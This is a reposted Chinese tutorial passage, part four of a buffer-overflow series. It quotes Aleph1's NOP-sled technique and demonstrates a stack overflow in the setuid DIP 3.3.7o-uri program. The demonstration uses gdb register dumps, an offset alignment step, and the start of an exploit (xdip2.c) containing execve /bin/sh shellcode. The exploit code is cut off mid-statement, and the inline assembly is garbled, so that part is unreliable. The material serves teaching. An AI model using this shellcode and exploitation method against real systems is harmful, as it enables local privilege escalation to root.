緩沖區(qū)溢出解密四
發(fā)布日期:2022-01-02 20:47 | 文章來(lái)源:源碼之家
來(lái)自Aleph1的文章:
“可見(jiàn)這不是一個(gè)有效的過(guò)程。甚至在知道堆棧開(kāi)始的位置時(shí),試圖猜測(cè)偏移地址幾乎是不可能的。好的情況下我會(huì)需要上百次嘗試,壞的情況下會(huì)要上千次。問(wèn)題是我們需要*準(zhǔn)確*的猜測(cè)出我們代碼將開(kāi)始的地址位置。如果我們偏了大概一個(gè)字節(jié),我們將得到一個(gè)段侵犯或者無(wú)效指令。一個(gè)提高我們機(jī)會(huì)的方法是在我們溢出緩沖區(qū)開(kāi)頭填NOP指令。幾乎所有的處理器都有NOP指令執(zhí)行一個(gè)空操作。它經(jīng)常被用來(lái)為了時(shí)間目的延遲執(zhí)行。我們將利用它,并且用它們填充我們一半的溢出緩沖區(qū)。我們將在中間放置我們的shellcode,接著在它后面跟著返回地址。如果我們走運(yùn),而返回地址指向NOP字符串的任何位置,它們將被執(zhí)行直到它們遇到我們的代碼。在Intel構(gòu)架中,NOP指令是1個(gè)字節(jié)長(zhǎng)在機(jī)器碼中它轉(zhuǎn)換成0x90。假設(shè)堆棧從地址0xFF開(kāi)始,S表示shell代碼,N表示一個(gè)NOP指令,新的堆棧可能看起來(lái)象這樣:
bottom of DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF top of
memory 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF memory
buffer sfpreta b c
這里,我們*猜測(cè)*地址。通過(guò)下面的子程序我們得到了當(dāng)前存儲(chǔ)在ESP寄存器中的地址:
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
有了上面這個(gè)函數(shù)的幫助,我們可以有一個(gè)內(nèi)存中堆棧指針可能在哪兒的*想法*。接著,我們從這個(gè)SP的地址中減去偏移量。如果我們足夠幸運(yùn)的話,我們可以猜到緩沖區(qū)中一個(gè)NOP的地址。(然而,注意到getesp()不返回漏洞程序的ESP。它是我們漏洞利用程序的ESP。它僅僅考慮了一個(gè)范圍。)
為了闡明這兩個(gè)方法的不同之處,讓我們寫(xiě)兩個(gè)漏洞利用程序,應(yīng)用一下目前為止我們所學(xué)的。
漏洞利用程序
現(xiàn)在我們知道了,什么是緩沖區(qū)溢出,知道如何利用緩沖區(qū)溢出覆蓋返回地址,知道我們?cè)鯓幽苄薷囊粋€(gè)函數(shù)的返回地址,不必多說(shuō)了。讓我們編寫(xiě)漏洞利用程序。在DIP(Dial-Up IP Protocol)程序的3.3.7o-uri(8 Feb 96)版本中,有一個(gè)緩沖區(qū)溢出漏洞。在一些Linux發(fā)布版本中這個(gè)程序是默認(rèn)setuid。
這個(gè)-l選項(xiàng)是有問(wèn)題的。dip代碼沒(méi)有小心處理這個(gè)作為由用戶傳給程序的一個(gè)參數(shù)的值,沒(méi)有邊界檢測(cè),它僅僅stpcpy()作為參數(shù)的任何內(nèi)容給一些本地緩沖區(qū),這些緩沖區(qū)只能存有限的數(shù)據(jù);因此增加了一個(gè)緩沖區(qū)溢出的風(fēng)險(xiǎn)。
漏洞代碼如:
l = stpcpy(l, argv[i]);
如果你看stpcpy的手冊(cè)頁(yè)($man 3 stpcpy);stpcpy,不考慮它所處理的緩沖區(qū)的邊界,它把整個(gè)數(shù)組拷貝給另外一個(gè)。這里我們需要做的是:
1.在Aleph的方法中,用一些NULL操作(NOP)填到至少一半的緩沖區(qū),接著放置你的shellcode和猜測(cè)一個(gè)NOP或者shellcode本身的地址。2.在我們的方法中,由于我們準(zhǔn)確的知道我們shellcode在內(nèi)存中的位置,我們僅僅拷貝這個(gè)地址到整個(gè)數(shù)組。
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x29'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
[murat@victim murat]$ /usr/sbin/dip -k -l `perl -e 'print "ABCD"x30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Segmentation fault
[murat@victim murat]$
從上面可以看到,當(dāng)我們寫(xiě)29個(gè)ABCD(29 * 4 = 116字節(jié))什么都沒(méi)有發(fā)生,然而當(dāng)我們寫(xiě)30個(gè)ABCD(30 * 4 = 120 bytes)的時(shí)候,程序出現(xiàn)了段侵犯。它沒(méi)有core dump,因?yàn)槌绦蚴莝etuid root權(quán)限的。讓我們成為root,看看當(dāng)我們給-l選項(xiàng)提供一個(gè)120字節(jié)的字符串時(shí)會(huì)發(fā)生什么:
[murat@victim murat]$ su
[root@victim murat]# gdb -q /usr/sbin/dip
(no debugging symbols found)...
(gdb) set args -k -l `perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l `perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..ABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x444342 in ?? ()
(gdb)
(gdb) i r
eax0xb4 180
ecx0xb4 180
edx0x00
ebx0x11
esp0xbffffcd4 0xbffffcd4
ebp0x41444342 0x41444342
esi0x44
edi0x805419e 134562206
eip0x444342 0x444342
eflags0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb) 從這里可以看出,堆棧指針(ESP)和這個(gè)被保護(hù)的返回地址被我們的字符串”ABCD”覆蓋了。在Ascii中:
A is 0x41, B is 0x42, C is 0x43, D is 0x44
注意到基本指針寄存器,它是:
ebp 0x41444342 0x41444342
這里的值是ADCB。這也意味著我們不能排列這個(gè)字符串。我們需要把字符串左移一個(gè)字節(jié),這樣ABCD適合一個(gè)4字節(jié)內(nèi)存單元。這樣的話:
(gdb) set args -k -l A`perl -e 'print "ABCD" x 30'`
(gdb) r
Starting program: /usr/sbin/dip -k -l A`perl -e 'print "ABCD" x 30'`
DIP: Dialup IP Protocol Driver version 3.3.7o-uri (8 Feb 96)
Written by Fred N. van Kempen, MicroWalt Corporation.
DIP: cannot open
/var/lock/LCK..AABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABC
DABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCDABCD:
No such file or directory
Program received signal SIGSEGV, Segmentation fault.
0x44434241 in ?? ()
(gdb) i r
eax0xb5 181
ecx0xb5 181
edx0x00
ebx0x11
esp0xbffffcd4 0xbffffcd4
ebp0x44434241 0x44434241
esi0x44
edi0x805419e 134562206
eip0x44434241 0x44434241
eflags0x10246 66118
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x2b 43
gs 0x2b 43
(gdb)
可以看到,我們多加了一個(gè)A到我們的緩沖區(qū)開(kāi)頭,這樣現(xiàn)在EIP和EBP寄存器都是:0x44434241,即我們可以校正我們的字符串了。 我將寫(xiě)兩個(gè)漏洞利用程序。每一個(gè)將用一個(gè)不同的方法。第一個(gè)將是”經(jīng)典技術(shù)”而另外一個(gè)將是環(huán)境變量技術(shù)。你比較這兩個(gè)時(shí),你將很容易地看出之間的不同,并且明白沒(méi)有必要去嘗試猜測(cè)奇怪的偏移。請(qǐng)注意,環(huán)境變量方法只有當(dāng)是本地漏洞的時(shí)候才有用。
這里是用經(jīng)典方法的:
xdip2.c :
#include
#include
#include
#include
#define BUF 130
#define NOP 0x90
#define ALIGN 1
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
unsigned long getesp()
{
__asm__("movl %esp, 陎");
}
void main(int argc, char *argv[])
{
int ret, i, n;
char *arg[5], buf[BUF];
int *ap;
if (argc
讓我詳細(xì)說(shuō)明這個(gè)漏洞利用程序:
我們定義我們的緩沖區(qū)為130個(gè)字節(jié)長(zhǎng),因?yàn)橐粋€(gè)121字節(jié)的數(shù)組對(duì)于我們來(lái)說(shuō)是足夠了,定義NULL操作指令的運(yùn)算碼為0x90,Alignment為1。
上一頁(yè)12 下一頁(yè) 閱讀全文
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章
上一篇:
SWF 探索者 1.4 的破解
下一篇: